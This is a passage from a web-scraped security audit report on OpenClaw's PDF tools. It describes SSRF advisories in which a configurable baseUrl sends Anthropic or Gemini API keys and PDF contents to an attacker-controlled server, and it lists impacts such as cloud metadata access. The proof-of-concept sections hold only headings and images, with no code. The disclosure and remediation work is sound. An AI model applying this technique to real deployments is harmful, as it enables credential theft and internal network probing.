1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8090a6f5fd588f04f893"><li><b>2026-03-11</b>: Vulnerability discovered during systematic baseUrl SSRF analysis</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c806f919bced2f0f30318"><li><b>2026-03-11</b>: PoC created and verified (2 API keys captured - Anthropic + Gemini)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a9986fe093e685bb4d"><li><b>2026-03-11</b>: Identified as medium severity variant of GHSA-007 (higher AC)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8082aab5dabd95ad7f53"><li><b>2026-03-11</b>: GitHub Security Advisory created</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808ebd7cd9e9491574a3" data-id="3230f0c5b87c808ebd7cd9e9491574a3"><span><div id="3230f0c5b87c808ebd7cd9e9491574a3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808ebd7cd9e9491574a3" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800494bfdf37ec00894c"><li>PoC Script: <code class="notion-inline-code">poc_NEW6_anthropic_gemini_pdf_ssrf.js</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808cbcbfcc8caad61d9f"><li>Verification: Captured 2 API keys (Anthropic in header, Gemini in query param)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8086af35daffd3e246e5"><li>Related Vulnerabilities:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8086af35daffd3e246e5"><li>GHSA-007 (TTS SSRF - same pattern, higher severity)</li><li>GHSA-009 (Ollama SSRF - same pattern, no credential leak)</li></ul></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805eab20e5af886c0ff3"><li>OWASP SSRF Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8027bde0daacabae3b0d"><li>CWE-918: https://cwe.mitre.org/data/definitions/918.html</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80869d78c06da4e593c3"><li>CWE-598: https://cwe.mitre.org/data/definitions/598.html</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8061ace6ccb69978f0e3" data-id="3230f0c5b87c8061ace6ccb69978f0e3"><span><div id="3230f0c5b87c8061ace6ccb69978f0e3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8061ace6ccb69978f0e3" title="Credits"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credits</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80fc8952dca067820f11">Discovered during deep security audit analyzing 255 historical OpenClaw advisories. Identified as part of comprehensive baseUrl SSRF pattern analysis (NEW-1/NEW-6 series).</div><hr class="notion-hr notion-block-3230f0c5b87c80528b0eed158e648b23"/><div class="notion-text notion-block-3230f0c5b87c80caa99fef521057eb54"><b>Report Classification</b>: Confirmed Exploitable
<b>Verification Status</b>: ✅ PoC Tested (2 API keys captured)
<b>Priority</b>: Medium - Should be fixed alongside GHSA-007 and GHSA-009
<b>Recommended Action</b>: Remove baseUrl configuration entirely for PDF providers
<b>Critical Note</b>: Gemini API key in URL query parameter is particularly dangerous (CWE-598) - appears in all HTTP logs, proxy logs, browser history</div><hr class="notion-hr notion-block-3230f0c5b87c805594defe79531fc3c6"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8020a56ec2d609b3e725" data-id="3230f0c5b87c8020a56ec2d609b3e725"><span><div id="3230f0c5b87c8020a56ec2d609b3e725" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8020a56ec2d609b3e725" title="GHSA-011: Server-Side Request Forgery (SSRF) in Anthropic PDF Processing"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-011: Server-Side Request Forgery (SSRF) in Anthropic PDF Processing</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c802c9646ff0957d0eeea"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8040a59eca8d903ac3ba" data-id="3230f0c5b87c8040a59eca8d903ac3ba"><span><div id="3230f0c5b87c8040a59eca8d903ac3ba" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8040a59eca8d903ac3ba" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a795fcdc1c58b4c10c">The Anthropic PDF processing function accepts a user-controlled <code class="notion-inline-code">baseUrl</code> parameter and performs unprotected HTTP requests, allowing Server-Side Request Forgery (SSRF) attacks with API key exfiltration.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80808bbefdd276aa6ef9" data-id="3230f0c5b87c80808bbefdd276aa6ef9"><span><div id="3230f0c5b87c80808bbefdd276aa6ef9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80808bbefdd276aa6ef9" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809cb47fc4eb4ba0e1da"><b>High</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N (7.7)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8040bbe0ebc90e3eed65" data-id="3230f0c5b87c8040bbe0ebc90e3eed65"><span><div id="3230f0c5b87c8040bbe0ebc90e3eed65" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8040bbe0ebc90e3eed65" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d395fefc5febfd3908"><b>File</b>: <code class="notion-inline-code">src/agents/tools/pdf-native-providers.ts</code><b>Function</b>: <code class="notion-inline-code">anthropicAnalyzePdf()</code><b>Vulnerable Line</b>: 62-63</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809aac63ccf4a8b5d322" data-id="3230f0c5b87c809aac63ccf4a8b5d322"><span><div id="3230f0c5b87c809aac63ccf4a8b5d322" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809aac63ccf4a8b5d322" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8040b937ef90c691b3f1">The <code class="notion-inline-code">anthropicAnalyzePdf()</code> function processes PDF documents using the Anthropic Messages API. The <code class="notion-inline-code">baseUrl</code> parameter is controlled through user configuration and is only sanitized by removing trailing slashes before being passed directly to <code class="notion-inline-code">fetch()</code>.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ff90bfc811fe81a32a" data-id="3230f0c5b87c80ff90bfc811fe81a32a"><span><div id="3230f0c5b87c80ff90bfc811fe81a32a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ff90bfc811fe81a32a" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807f8c19d32be645353c">An attacker with administrative privileges can modify the PDF provider configuration:</div><div class="notion-text notion-block-3230f0c5b87c800cb9b0e3a1288af5e7">When a PDF is processed, the application sends a POST request to the attacker-controlled server with:
- Full Anthropic API key in <code class="notion-inline-code">x-api-key</code> header
- Complete PDF content (base64 encoded)
- Model configuration and prompt text</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805ab2ddc42e69f62bd3" data-id="3230f0c5b87c805ab2ddc42e69f62bd3"><span><div id="3230f0c5b87c805ab2ddc42e69f62bd3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805ab2ddc42e69f62bd3" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8092b607e8c2497a8ac5">An attacker can:
1. Steal Anthropic API keys for unauthorized use
2. Exhaust victim’s API quota
3. Probe internal network services
4. Access cloud metadata services (http://169.254.169.254)
5. Intercept sensitive PDF content</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80dd9f6ac18d7db5107b" data-id="3230f0c5b87c80dd9f6ac18d7db5107b"><span><div id="3230f0c5b87c80dd9f6ac18d7db5107b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80dd9f6ac18d7db5107b" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8020acafdd8e770d6fca"><b>复现截图 - 源码审计确认漏洞：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80b4b3ddcdc5da15dc7c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa011_source.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80b4-b3dd-cdc5da15dc7c" alt="Source" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c804ea291ea88b40b8d2b">Source</div><div class="notion-text notion-block-3230f0c5b87c803993bae89408ec73ea"><b>Setup listener server</b>:</div><div class="notion-text notion-block-3230f0c5b87c802e96e9f6fc138918d3"><b>Trigger PDF processing</b>:</div><div class="notion-text notion-block-3230f0c5b87c80a3a950dd694f824e83"><b>Captured request</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8024a402ce78ba7759cd" data-id="3230f0c5b87c8024a402ce78ba7759cd"><span><div id="3230f0c5b87c8024a402ce78ba7759cd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8024a402ce78ba7759cd" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8045a3bfc35b9d4f973d">Implement SSRF validation for the <code class="notion-inline-code">baseUrl</code> parameter. Reject requests targeting private IP addresses (127.0.0.0/8, 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12), cloud metadata services (169.254.169.254), and implement DNS pinning verification. Alternatively, remove the <code class="notion-inline-code">baseUrl</code> configuration option and hardcode the official Anthropic API endpoint.</div><hr class="notion-hr notion-block-3230f0c5b87c808c9b47e8a38dd98adb"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80d08774dd587db9c21e" data-id="3230f0c5b87c80d08774dd587db9c21e"><span><div id="3230f0c5b87c80d08774dd587db9c21e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d08774dd587db9c21e" title="GHSA-012: Server-Side Request Forgery (SSRF) in Gemini PDF Processing with API Key Exposure in URL"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-012: Server-Side Request Forgery (SSRF) in Gemini PDF Processing with API Key Exposure in URL</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80acba31ddceb6190037"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d993facedda2812f26" data-id="3230f0c5b87c80d993facedda2812f26"><span><div id="3230f0c5b87c80d993facedda2812f26" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d993facedda2812f26" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b9928eef3687784345">The Gemini PDF processing function accepts a user-controlled <code class="notion-inline-code">baseUrl</code> parameter and performs unprotected HTTP requests with the API key exposed in URL query parameters, enabling Server-Side Request Forgery (SSRF) attacks with credentials leakage.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80099939c74cf539148a" data-id="3230f0c5b87c80099939c74cf539148a"><span><div id="3230f0c5b87c80099939c74cf539148a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80099939c74cf539148a" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c802b817fe627b5b8986b"><b>High</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N (7.7)</div><div class="notion-text notion-block-3230f0c5b87c806fa607ff3d62bafd7e"><b>Note</b>: This vulnerability is more severe than typical SSRF because the API key is transmitted in the URL query string, which gets logged by proxies, browsers, SIEM systems, and server access logs (CWE-598).</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d19981f7500ab77a12" data-id="3230f0c5b87c80d19981f7500ab77a12"><span><div id="3230f0c5b87c80d19981f7500ab77a12" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d19981f7500ab77a12" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f9ae78d35f119eda5b"><b>File</b>: <code class="notion-inline-code">src/agents/tools/pdf-native-providers.ts</code><b>Function</b>: <code class="notion-inline-code">geminiAnalyzePdf()</code><b>Vulnerable Lines</b>: 140-143</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bebbaec6178d94f487" data-id="3230f0c5b87c80bebbaec6178d94f487"><span><div id="3230f0c5b87c80bebbaec6178d94f487" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bebbaec6178d94f487" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c803b8b82e2c2628be892">The <code class="notion-inline-code">geminiAnalyzePdf()</code> function processes PDF documents using the Gemini API. The <code class="notion-inline-code">baseUrl</code> parameter is user-controlled and only receives basic string manipulation before being used in a URL that includes the API key as a query parameter.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a9b756cffba6d5f21a" data-id="3230f0c5b87c80a9b756cffba6d5f21a"><span><div id="3230f0c5b87c80a9b756cffba6d5f21a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a9b756cffba6d5f21a" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c5805ecc252957c4ee">An attacker with administrative access can modify the Gemini configuration:</div><div class="notion-text notion-block-3230f0c5b87c80bba6ede21ce5333d64">When PDF processing occurs, the full request URL includes the API key:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803eb8d0e82423dcf4b1" data-id="3230f0c5b87c803eb8d0e82423dcf4b1"><span><div id="3230f0c5b87c803eb8d0e82423dcf4b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803eb8d0e82423dcf4b1" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c809eaf8ece798fc6dc23">The API key exposure in URL parameters causes the credential to be logged in:
- HTTP proxy logs (corporate proxies, Squid, etc.)
- Web server access logs on attacker server
- Browser history
- SIEM and security monitoring systems
- DNS query logs (if full URL logged)</div><div class="notion-text notion-block-3230f0c5b87c80ad92e0dbff4e1d85a0">An attacker can:
1. Capture API keys from passive log analysis
2. Steal Google Cloud API keys for unauthorized use
3. Access victim’s Google Cloud resources
4. Bill unauthorized charges to victim’s account
5. Probe internal network via modified baseUrl</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8048aeeae10ac97dfd37" data-id="3230f0c5b87c8048aeeae10ac97dfd37"><span><div id="3230f0c5b87c8048aeeae10ac97dfd37" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8048aeeae10ac97dfd37" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80dbba44c258eaf6f0a1"><b>复现截图 - 源码审计确认漏洞：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8044afd4d4649f4cbb44"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" 